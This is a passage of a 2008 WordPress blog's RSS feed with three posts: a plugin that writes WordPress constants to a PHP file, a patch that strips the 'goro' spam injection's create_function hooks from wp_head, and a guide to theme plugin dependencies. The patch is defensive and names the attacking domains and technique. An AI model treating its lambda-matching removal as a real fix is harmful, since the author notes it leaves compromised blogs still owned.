<p>Below is my workaround for quick plugin activation setup. Its not the best solution as it involved the dirty &#8220;write-permission&#8221;, it need improvement. If you intent to uses it, there is few preliminary step to be set first:- &darr;</p>
<p><span id="more-171"></span></p>
<ol class="xoxo">
<li>browse to your plugin dir</li>
<li>create a blank php file: <tt>constant.php</tt></li>
<li>copy paste the below code save it as new file relative to the constant.php</li>
<li>create or set your <tt class="hilite-1">.htaccess</tt> and add <tt>Options All -Indexes</tt>.</li>
</ol>
<h5>Custom wp config file</h5>
<pre class="prebox">
function my_plugin_write_config&#40;&#41;
&#123;
	&#36;constant &#61; get_defined_constants&#40;true&#41;&#59;
	&#36;user_defined &#61; &#36;constant&#91;&#39;user&#39;&#93;&#59;
	unset&#40;&#36;constant&#41;&#59;

	&#36;constant &#61; array&#40;&#41;&#59;

	&#47;&#47; assuming that all latest wordpress CONSTANT start with WP_
	&#36;wp_constant_prefix &#61; &#34;&#47;WP_&#47;&#34;&#59;

	foreach&#40;&#36;user_defined as &#36;k&#61;&#62;&#36;v&#41;&#123;
		if &#40;preg_match&#40;&#36;wp_constant_prefix&#44;&#36;k&#41;&#41;&#123;
			&#36;constant&#91;&#36;k&#93; &#61; &#36;v&#59;
		&#125;
	&#125;

	unset&#40;&#36;user_defined&#41;&#59;

	&#36;constant&#91;&#39;ABSPATH&#39;&#93; &#61; &#40;strtr&#40;realpath&#40;ABSPATH&#41;&#44; array&#40;&#34;&#92;&#92;&#34;&#44; DIRECTORY_SEPERATOR&#41;&#41;&#41;&#59;
	&#36;constant&#91;&#39;WPINC&#39;&#93; 	&#61; WPINC&#59;
	&#36;constant&#91;&#39;WP_VERSION&#39;&#93; &#61; get_bloginfo&#40;&#39;version&#39;&#41;&#59;

	&#36;constant &#61; array_map&#40;&#39;json_encode&#39;&#44;&#36;constant&#41;&#59;

	&#36;my_plugin_config_file 	&#61; dirname&#40;__FILE__&#41;&#46;DIRECTORY_SEPARATOR&#46;&#39;constant&#46;php&#39;&#59;

	if &#40;is_writeable&#40;&#36;my_plugin_config_file&#41;&#41;
	&#123;
		&#36;content &#61; &#34;&#60;&#63;php if&#40;&#33;defined&#40;&#39;MY_PLUGIN_TOKEN&#39;&#41;&#41; die&#40;&#39;42&#39;&#41;&#59;&#92;n&#34;&#59;

		foreach&#40;&#36;constant as &#36;k&#61;&#62;&#36;v&#41;&#123;
			&#36;content &#46;&#61; sprintf&#40;&#39;define&#40;&#92;&#39;CONST_&#37;1s&#92;&#39;&#44; &#37;2s&#41;&#59;&#39;&#44;strtoupper&#40;&#36;k&#41;&#44;&#36;v&#41;&#46;&#34;&#92;n&#34;&#59;
		&#125;

		unset&#40;&#36;constant&#44;&#36;k&#44;&#36;v&#41;&#59;

		&#36;content &#46;&#61; &#34;&#63;&#62;&#34;&#59;	

		&#36;fp &#61; false&#59;

		if &#40; &#40;&#36;fp &#61; fopen&#40;&#36;my_plugin_config_file&#44;&#39;w&#43;&#39;&#41; &#41; &#33;&#61; false&#41; &#123;
			stream_set_blocking&#40;&#36;fp&#44; TRUE&#41;&#59;
			stream_set_timeout&#40;&#36;fp&#44;5&#41;&#59;
			stream_set_write_buffer&#40;&#36;fp&#44; 0&#41;&#59;
			fwrite&#40;&#36;fp&#44; &#36;content&#41;&#59;
			fclose&#40;&#36;fp&#41;&#59;
		&#125;		

		unset&#40;&#36;content&#44;&#36;my_plugin_config_file&#44;&#36;fp&#41;&#59;

	&#125; else &#123;
		add_action&#40;&#39;admin_notices&#39;&#44;&#39;my_plugin_notification&#39;&#41;&#59;
	&#125;
&#125;

function my_plugin_notification&#40;&#41;
&#123;
&#63;&#62;	&#60;div id&#61;&#34;message&#34; class&#61;&#34;error&#34;&#62;
	&#60;h3&#62;&#60;&#63;php _e&#40;&#39;ERR&#39;&#41; &#63;&#62; &#60;&#47;h3&#62;
		&#60;p&#62;&#60;a href&#61;&#34;http&#58;&#47;&#47;doc&#46;myplugin&#46;com&#34;&#62;&#60;&#63; _e&#40;&#39;RTFM&#33;&#39;&#41;&#59; &#63;&#62;&#60;&#47;a&#62;&#60;&#47;p&#62;
	&#60;&#47;div&#62;
&#60;&#63;php
&#125;

register_activation_hook&#40;__FILE__&#44; &#39;my_plugin_write_config&#39; &#41;&#59;
add_action&#40;&#39;update_option_siteurl&#39;&#44;&#39;my_plugin_write_config&#39;&#41;&#59;
add_action&#40;&#39;update_option_home&#39;&#44;&#39;my_plugin_write_config&#39;&#41;&#59;
</pre>
<p>Basically this script will search all user defined constant that start with <strong>&#8220;WP_&#8221;</strong> prefix, plus additional wordpress constant. Then it will write all these constant to disk inside &#8220;constant.php&#8221; (once). It also runs after a WordPress option has been update (active when user update settings for home &amp; siteurl, I add the extra action hook just for example).</p>
<h3>Deprecated Functions</h3>
<p>Out of all this issue I still think WordPress as one of the best &#8220;back-compat friendly&#8221; CMS. Most of the legacy functions &amp; variables (since version 0.71 >= 2.5) is still available inside WordPress system <small>(<tt>wp-includes/deprecated.php</tt>)</small>. Not sure how long it will stay there..</p>
<h5>Might be interested</h5>
<ul class="xoxo">
<li><a href="http://weblogtoolscollection.com/archives/2008/06/30/what-you-need-to-know-about-wordpress-26/">What You Need To Know About WordPress 2.6</a></li>
<li><a href="http://technosailor.com/2008/06/30/10-things-you-need-to-know-about-wordpress-26/">10 Things You Need to Know About WordPress 2.6</a></li>
<li><a href="http://planetozh.com/blog/2008/07/what-plugin-coders-must-know-about-wordpress-26/">What Plugin Coders Must Know About WordPress 2.6</a></li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/wp-26-user-defined-constant-plugin-issues/feed/</wfw:commentRss>
		</item>
		<item>
		<title>goro spam injection patch</title>
		<link>http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/</link>
		<comments>http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/#comments</comments>
		<pubDate>Sat, 14 Jun 2008 18:58:51 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[Black Hat]]></category>

		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[plugins]]></category>

		<category><![CDATA[blackhat]]></category>

		<category><![CDATA[goro]]></category>

		<category><![CDATA[injection]]></category>

		<category><![CDATA[lambda-style]]></category>

		<category><![CDATA[Owned]]></category>

		<category><![CDATA[parasite host]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=168</guid>
		<description><![CDATA[wordpress goro spam injection patch]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/06/hacked.png" alt="goro spam injection" title="goro spam injection" width="128" height="128" class="fl size-full wp-image-169" longdesc="http://blog.kaizeku.com/wp-content/uploads/2008/06/hacked.png" />Since early 2007 I been monitoring this <a href="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" class="ext" rel="vote-for">famous WordPress spam injection</a> that only target high PR wordpress blogs like Al gore, blake ross, bluehost CEO to name a few. </p>
<h2>PHP create_function&#40;&#41;</h2>
<p>The new variant from <tt>wordpress.net.in</tt> &amp; <tt>qwetro.com</tt> used the &#8220;anonymous PHP <tt><a href="http://my2.php.net/manual/en/function.create-function.php" title="PHP manual for create_function" class="ext">create_function</a></tt>&#8221; to append their spam links on their victim blog. Below is quick patch to disabled the mischievous &#8220;create_function&#8221; injection on wp_head.</p>
<p>The below code will look for &#8220;<tt>&#65533;lambda_n</tt>&#8221; function inside <em>wp_head</em> wp_filters array and remove the action hook silently. I assume that any sane developer will never used this unstable PHP function.</p>
<pre class="prebox">&#47;&#42;&#42;
 &#42; Remove create_function action hook
 &#42; append on wordpress wp_head filters
 &#42;
 &#42; &#64;author Avice De&#39;v&#233;reux &#60;ck&#64;kaizeku&#46;com&#62;
 &#42; &#64;copyright Copyright &#40;c&#41; 2006 Avice De&#39;v&#233;reux
 &#42; &#64;version 1&#46;0
 &#42; &#64;license http&#58;&#47;&#47;www&#46;gnu&#46;org&#47;licenses&#47;lgpl&#46;html GNU Lesser General Public License
 &#42; &#64;link http&#58;&#47;&#47;blog&#46;kaizeku&#46;com&#47;wordpress&#47;goro&#45;spam&#45;injection&#45;wp&#45;head&#45;patch&#47;
 &#42;&#47;
function remove_create_function_action&#40;&#41;
&#123; global &#36;wp_filter&#59;

	&#36;action_ref	&#61; &#39;wp_head&#39;&#59;
	&#36;filter 	&#61; &#36;wp_filter&#91;&#36;action_ref&#93;&#59;
	&#36;_lambda	&#61; array&#40;&#41;&#59;

	foreach&#40;range&#40;1&#44;10&#41; as &#36;priority&#41;&#123;

		if &#40;isset&#40;&#36;filter&#91;&#36;priority&#93;&#41;&#41;
		&#123;
			foreach&#40;&#36;filter&#91;&#36;priority&#93; as &#36;registered_filter &#41;&#123;

				&#36;callback &#61; &#40;string&#41; &#36;registered_filter&#91;&#39;function&#39;&#93;&#59;

				if &#40; preg_match&#40;&#34;&#47;lambda&#47;&#34;&#44; &#36;callback&#41; &#41; &#123;
		 	 		&#36;_lambda&#91;&#36;priority&#93;&#91;&#93; &#61; &#36;callback&#59;
				&#125;
			&#125;

		&#125;
	&#125;

	if &#40; count&#40;&#36;_lambda&#41; &#62;&#61; 0 &#41;&#123;

		foreach&#40;&#36;_lambda as &#36;priority &#61;&#62; &#36;callback&#41; &#123;
			if &#40; has_filter&#40;&#36;action_ref&#44;&#36;callback&#41; &#41;&#123;
				remove_filter&#40;&#36;action_ref&#44; &#36;callback&#44; &#36;priority&#44; 1&#41;&#59;
			&#125;
		&#125;
	&#125;
&#125;

add_action&#40;&#39;init&#39;&#44;&#39;remove_create_function_action&#39;&#41;&#59;
</pre>
<p><span id="more-168"></span></p>
<p class="sticky">note: This method only disabled the spam link from showing on your <span class="fw">blog header</span>. it wont fixed your blog vulnerabilities. your blog still owned thought. Tips &rarr; <a href="http://wordpress.org/download/">http://wordpress.org/download/</a></p>
<h3>Download</h3>
<ul class="xoxo">
<li>Note: There is a file embedded within this post, please visit this post to download the file.</li>
</ul>
<h5 class="mgt">Related Articles</h5>
<ul class="xoxo">
<li><a href="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/" class="ext">Fixes wordpress.net.in Spam Footer Injection</a></li>
<li><a href="http://robertogaloppini.net/2007/12/12/wordpress-spam-injection-goro-hacked-my-blog/" class="ext">Roberto Galoppini&#8217;s, Wordpress Spam Injection: ‘Goro’ hacked my blog</a></li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/goro-spam-injection-wp-head-patch/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Themes plugin dependencies</title>
		<link>http://blog.kaizeku.com/wordpress/themes-plugin-dependencies/</link>
		<comments>http://blog.kaizeku.com/wordpress/themes-plugin-dependencies/#comments</comments>
		<pubDate>Sun, 08 Jun 2008 11:06:53 +0000</pubDate>
		<dc:creator>ck</dc:creator>
		
		<category><![CDATA[Themes]]></category>

		<category><![CDATA[WordPress]]></category>

		<category><![CDATA[hook]]></category>

		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://blog.kaizeku.com/?p=166</guid>
		<description><![CDATA[Wordpress Designer theme guide on implementing plugins for public release.]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.kaizeku.com/wp-content/uploads/2008/06/wordpress-theme-plugin-dependencies-preview-pin-up-by-chaoskaizer.png" alt="Wordpress theme plugin dependencies" title="wordpress-theme-plugin-dependencies-preview-pin-up-by-chaoskaizer" width="128" height="128" class="alignleft size-full wp-image-167 fl" />A good theme designer should avoid the need to relies on third party plugins.</p>
<h2>Is plugin deactivated</h2>
<p><img src="http://static4.animepaper.net/images/ck/tuzki/headslam.gif" width="70" height="50" alt="bunny" longdesc="/#" class="fr"/>Unfortunately, some WordPress theme out there has a &#8220;major pending headache&#8221; for <strong>plugin dependencies breakdown sydrome</strong>. Because of this un-friendly trends there is bound shit to happen when the specific plugin is not maintain properly or on certain case of a sudden WordPress upgrade render the plugin useless (this happen a lot when previous <abbr title="WordPress">WP</abbr> 2.3 release). </p>
<p>To make it worse some ignorant-end-user decide &#8220;not to&#8221; upgrade their WordPress blog because their favorites theme&#8217;s has this specific plugins that will only work with previous vulnerability WordPress version &amp; thus the never ending quotes war begin. </p>
<p><span id="more-166"></span></p>
<h3>Theme with Plugin dependencies</h3>
<p>From <strong>the smashing lists</strong> of <em>&#8220;<a href="http://www.smashingmagazine.com/2007/05/07/10-fresh-elegant-and-clean-wordpress-themes/" title="10 Fresh, Elegant and Clean Wordpress Themes">10 Fresh, Elegant and Clean Wordpress Themes</a>&#8220;</em> there is <strong>3</strong> out of 10 theme with plugins dependencies issue. These threesome is an experienced theme designer. How many wordpress theme with plugin dependencies is out there? </p>
<p>So what&#8217;s the point of having <dfn>clean &#038; elegant</dfn> theme if it doesn&#8217;t properly work and throw &#8220;Fatal Error&#8221; when certain plugin is deactivated. </p>
<h5>Similar issue</h5>
<p>Before you asked why you need to write better plugin support read on the following articles at <abbr title="Weblog Tools Collections">WTC</abbr>.</p>
<ul class="xoxo">
<li><a href="http://weblogtoolscollection.com/archives/2008/06/07/plugin-deactivation-issues-solved-with-actions-and-filters/">Plugin Deactivation Issues</a> by <em class="vcard di"><a href="http://www.ronalfy.com/" title="Ronal Huereca" class="url fn" rel="contact"><span class="family-name">Ronald</span> <span class="given-name">Huereca</span></a></em> </li>
<li> <a href="http://weblogtoolscollection.com/archives/2008/06/01/if-plugin-deactivation-breaks-your-blog/">If Plugin Deactivation Breaks Your Blog</a> by <em class="vcard di"><a href="http://www.jeffro2pt0.com/">Jeff Chandler</a> <span class="nickname dn">Jeffro2pt0</span></em>.</li>
</ul>
<hr/>
<h2>Introduction</h2>
<p>This guide is intent for WordPress theme designer in hope to improve theme quality and avoid plugin dependencies.</p>
<h3>Wordpress Hook</h3>
<p>As this is a &#8220;quick guide&#8221; so I wont cover this broad topics. It might take sometimes to understand the concept still its worth the time. You can read it at WordPress Codex &darr;</p>
<ul class="xoxo mgb pdb">
<li><a href="http://codex.wordpress.org/Plugin_API" class="ext">http://codex.wordpress.org/Plugin_API</a></li>
</ul>
<h3>Avoid Plugin dependencies best practice guide</h3>
<p>Lets assume you want to add <a href="http://lesterchan.net/" title="Lester GaMerZ Chan">Lester Chan</a> advanced pagination plugin (<a href="wordpress.org/extend/plugins/wp-pagenavi/">Wp-pagenavi</a>) in your theme.</p>
<h5>Fallback function</h5>
<p><big class="dropno">1<span>)</span></big> First we created a default function for the page navigation links (the next &#038; previous page links). Saved it inside <tt>functions.php</tt> in your theme folder <tt>/wp-content/themes/mytheme/</tt>.</p>
<p><small class="fr icn-r"><tt>functions.php</tt></small></p>
<pre class="prebox cr">
function wpi_post_link&#40;&#41;
&#123;
	next_posts_link&#40;__&#40;&#39;&#38;laquo&#59; Older Entries&#39;&#44;&#39;mytheme&#45;name&#39;&#41;&#41;&#59;
	echo &#39;&#38;nbsp&#59;&#39;&#59;
	previous_posts_link&#40;__&#40;&#39;Newer Entries &#38;raquo&#59;&#39;&#44;&#39;mytheme&#45;name&#39;&#41;&#41;&#59;
&#125;
</pre>
<p class="sticky"><small>Tips: to avoid duplicated function name conflict, its a good practice to have your own unique prefix for function name , <em>( i.e., wpi_get_time, themename_foo )</em></small></p>
<h5>HTML &amp; Action Hook Placement</h5>
<p><big class="dropno">2<span>)</span></big>Next we add our <strong>pagination hook</strong> <tt>(wpi_pagination)</tt> inside <tt>index.php</tt> templates ( &amp; similar templates files i.e., home.php, category.php, archive.php ) .</p>
<p><small class="fr icn-r"><tt>index.php</tt></small></p>
<pre class="prebox cr">
&#60;&#33;&#45;&#45; pagination &#45;&#45;&#62;
&#60;div id&#61;&#34;pagination&#34; class&#61;&#34;border clear&#45;both&#34;&#62;
&#60;&#63;php do_action&#40;&#39;wpi_pagination&#39;&#41;&#59;&#63;&#62;
&#60;&#47;div&#62;
</pre>
<p>Example using default (kubrick) wordpress theme <tt>index.php</tt> templates files.</p>
<p><small class="fr icn-r"><tt>(kubrick) index.php</tt></small></p>
<pre class="prebox cr">
&#60;&#63;php get_header&#40;&#41;&#59; &#63;&#62;

	&#60;div id&#61;&#34;content&#34; class&#61;&#34;narrowcolumn&#34;&#62;

	&#60;&#63;php if &#40;have_posts&#40;&#41;&#41; &#58; &#63;&#62;

		&#60;&#63;php while &#40;have_posts&#40;&#41;&#41; &#58; the_post&#40;&#41;&#59; &#63;&#62;

			&#60;div class&#61;&#34;post&#34; id&#61;&#34;post&#45;&#60;&#63;php the_ID&#40;&#41;&#59; &#63;&#62;&#34;&#62;
				&#60;h2&#62;&#60;a href&#61;&#34;&#60;&#63;php the_permalink&#40;&#41; &#63;&#62;&#34; rel&#61;&#34;bookmark&#34; title&#61;&#34;Permanent Link to &#60;&#63;php the_title_attribute&#40;&#41;&#59; &#63;&#62;&#34;&#62;&#60;&#63;php the_title&#40;&#41;&#59; &#63;&#62;&#60;&#47;a&#62;&#60;&#47;h2&#62;
				&#60;small&#62;&#60;&#63;php the_time&#40;&#39;F jS&#44; Y&#39;&#41; &#63;&#62; &#60;&#33;&#45;&#45; by &#60;&#63;php the_author&#40;&#41; &#63;&#62; &#45;&#45;&#62;&#60;&#47;small&#62;

				&#60;div class&#61;&#34;entry&#34;&#62;
					&#60;&#63;php the_content&#40;&#39;Read the rest of this entry &#38;raquo&#59;&#39;&#41;&#59; &#63;&#62;
				&#60;&#47;div&#62;

				&#60;p class&#61;&#34;postmetadata&#34;&#62;&#60;&#63;php the_tags&#40;&#39;Tags&#58; &#39;&#44; &#39;&#44; &#39;&#44; &#39;&#60;br &#47;&#62;&#39;&#41;&#59; &#63;&#62; Posted in &#60;&#63;php the_category&#40;&#39;&#44; &#39;&#41; &#63;&#62; &#124; &#60;&#63;php edit_post_link&#40;&#39;Edit&#39;&#44; &#39;&#39;&#44; &#39; &#124; &#39;&#41;&#59; &#63;&#62; &#60;&#63;php comments_popup_link&#40;&#39;No Comments &#38;&#35;187&#59;&#39;&#44; &#39;1 Comment &#38;&#35;187&#59;&#39;&#44; &#39;&#37; Comments &#38;&#35;187&#59;&#39;&#41;&#59; &#63;&#62;&#60;&#47;p&#62;
			&#60;&#47;div&#62;

		&#60;&#63;php endwhile&#59; &#63;&#62;

		&#60;&#33;&#45;&#45; pagination &#45;&#45;&#62;
		&#60;div id&#61;&#34;pagination&#34; class&#61;&#34;border clear&#45;both&#34;&#62;
		&#60;&#63;php do_action&#40;&#39;wpi_pagination&#39;&#41;&#59;&#63;&#62;
		&#60;&#47;div&#62;

	&#60;&#63;php else &#58; &#63;&#62;

		&#60;h2 class&#61;&#34;center&#34;&#62;Not Found&#60;&#47;h2&#62;
		&#60;p class&#61;&#34;center&#34;&#62;Sorry&#44; but you are looking for something that isn&#39;t here&#46;&#60;&#47;p&#62;
		&#60;&#63;php include &#40;TEMPLATEPATH &#46; &#34;&#47;searchform&#46;php&#34;&#41;&#59; &#63;&#62;

	&#60;&#63;php endif&#59; &#63;&#62;

	&#60;&#47;div&#62;

&#60;&#63;php get_sidebar&#40;&#41;&#59; &#63;&#62;

&#60;&#63;php get_footer&#40;&#41;&#59; &#63;&#62;
</pre>
<h5>is plugin active (optional)</h5>
<p><big class="dropno">3<span>)</span></big> For earlier version of WordPress <tt>(version 2.3.x &amp; below)</tt> you will need to add the following function.</p>
<p><small class="fr icn-r"><tt>functions.php</tt></small></p>
<pre class="prebox cr">if &#40;version_compare&#40;&#36;GLOBALS&#91;&#39;wp_version&#39;&#93;&#44; &#39;2&#46;5&#39;&#44; &#39;lt&#39;&#41;&#41;
&#123;
	function is_plugin_active&#40;&#36;plugin_filename&#41;
	&#123;
		&#36;plugins &#61; get_option&#40;&#39;active_plugins&#39;&#41;&#59;

			if&#40; &#33;is_array&#40;&#36;plugins&#41; &#41; settype&#40;&#36;plugins&#44;&#39;array&#39;&#41;&#59;			

		return &#40; in_array&#40;&#36;plugin_filename&#44; &#36;plugins&#41; &#41; &#59;
	&#125;
&#125;
</pre>
<h5>Register Action Hook</h5>
<p><big class="dropno">4<span>)</span></big> Open your <tt>wp-content/themes/mytheme/functions.php</tt> and add the below code.</p>
<p><small class="fr icn-r"><tt>functions.php</tt></small></p>
<pre class="prebox cr">
add_action&#40;&#39;wpi_pagination&#39;&#44;
		 &#40; is_plugin_active&#40;&#39;wp&#45;pagenavi&#47;wp&#45;pagenavi&#46;php&#39;&#41; &#41; &#63;
		 &#39;wp_pagenavi&#39; &#58; &#39;wpi_post_link&#39; &#41;&#59;
</pre>
<h3>Download example code</h3>
<ul class="xoxo">
<li>Note: There is a file embedded within this post, please visit this post to download the file.</li>
</ul>
<h2>Conclusion</h2>
<p>If you are one&#8217;s of those aspiring WP theme designer <em>&#8220;do try&#8221;</em> not to depend on third party plugins and avoid using the below phrase if possible</p>
<blockquote cite="http://blog.kaizeku.com/abou#cite"><p>&#8220;requires the following plugins to work &#8230;&#8221;</p>
</blockquote>
<p>A public release theme should be &#8220;clean from plugin dependencies&#8221; and let the end user decide what plugins they need and should have.</p>
<h2>External Links</h2>
<ul class="xoxo">
<li><a href="http://codex.wordpress.org/Plugin_API/Action_Reference" class="ext">WordPress Codex: Plugin API &rarr; Action Reference</a></li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://blog.kaizeku.com/wordpress/themes-plugin-dependencies/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
